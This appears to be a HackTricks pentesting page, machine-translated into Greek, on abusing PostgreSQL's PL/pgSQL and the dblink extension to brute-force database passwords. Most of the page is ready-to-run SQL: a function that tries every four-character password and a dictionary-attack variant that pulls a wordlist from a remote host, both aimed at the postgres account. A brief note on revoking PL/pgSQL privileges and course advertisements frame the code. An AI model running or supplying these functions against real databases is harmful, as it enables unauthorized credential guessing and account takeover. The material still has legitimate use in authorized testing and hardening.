PL/pgSQL Password Bruteforce

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Βρείτε περισσότερες πληροφορίες σχετικά με αυτήν την επίθεση στο αρχικό άρθρο.

Το PL/pgSQL είναι μια πλήρως λειτουργική γλώσσα προγραμματισμού που υπερβαίνει τις δυνατότητες της SQL προσφέροντας ενισχυμένο διαδικαστικό έλεγχο. Αυτό περιλαμβάνει τη χρήση βρόχων και διάφορων δομών ελέγχου. Οι συναρτήσεις που δημιουργούνται στη γλώσσα PL/pgSQL μπορούν να κληθούν από εντολές SQL και triggers, διευρύνοντας το πεδίο λειτουργιών εντός του περιβάλλοντος της βάσης δεδομένων.

Μπορείτε να καταχραστείτε αυτήν τη γλώσσα για να ζητήσετε από το PostgreSQL να βίαια δοκιμάσει τα διαπιστευτήρια των χρηστών, αλλά πρέπει να υπάρχει στη βάση δεδομένων. Μπορείτε να επαληθεύσετε την ύπαρξή του χρησιμοποιώντας:

SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |

Από προεπιλογή, η δημιουργία συναρτήσεων είναι ένα προνόμιο που χορηγείται στο PUBLIC, όπου το PUBLIC αναφέρεται σε κάθε χρήστη σε αυτό το σύστημα βάσης δεδομένων. Για να αποτραπεί αυτό, ο διαχειριστής θα μπορούσε να ανακαλέσει το προνόμιο USAGE από τον τομέα PUBLIC:

REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;

Σε αυτήν την περίπτωση, η προηγούμενη ερώτησή μας θα εμφάνιζε διαφορετικά αποτελέσματα:

SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}

Σημείωση ότι για το παρακάτω σενάριο να λειτουργήσει η συνάρτηση dblink πρέπει να υπάρχει. Αν δεν υπάρχει, μπορείτε να προσπαθήσετε να τη δημιουργήσετε με την εντολή

CREATE EXTENSION dblink;

Βίαιη Δοκιμή Κωδικού Πρόσβασης

Εδώ είναι πώς μπορείτε να εκτελέσετε μια βίαιη δοκιμή κωδικού πρόσβασης με 4 χαρακτήρες:

//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';

//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

Σημείωση ότι ακόμα και η επίθεση με βίαιη δοκιμή 4 χαρακτήρων μπορεί να διαρκέσει αρκετά λεπτά.

Μπορείτε επίσης να κατεβάσετε έναν κατάλογο λέξεων και να δοκιμάσετε μόνο αυτούς τους κωδικούς (επίθεση λεξικού):

//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;

EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'

-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Last updated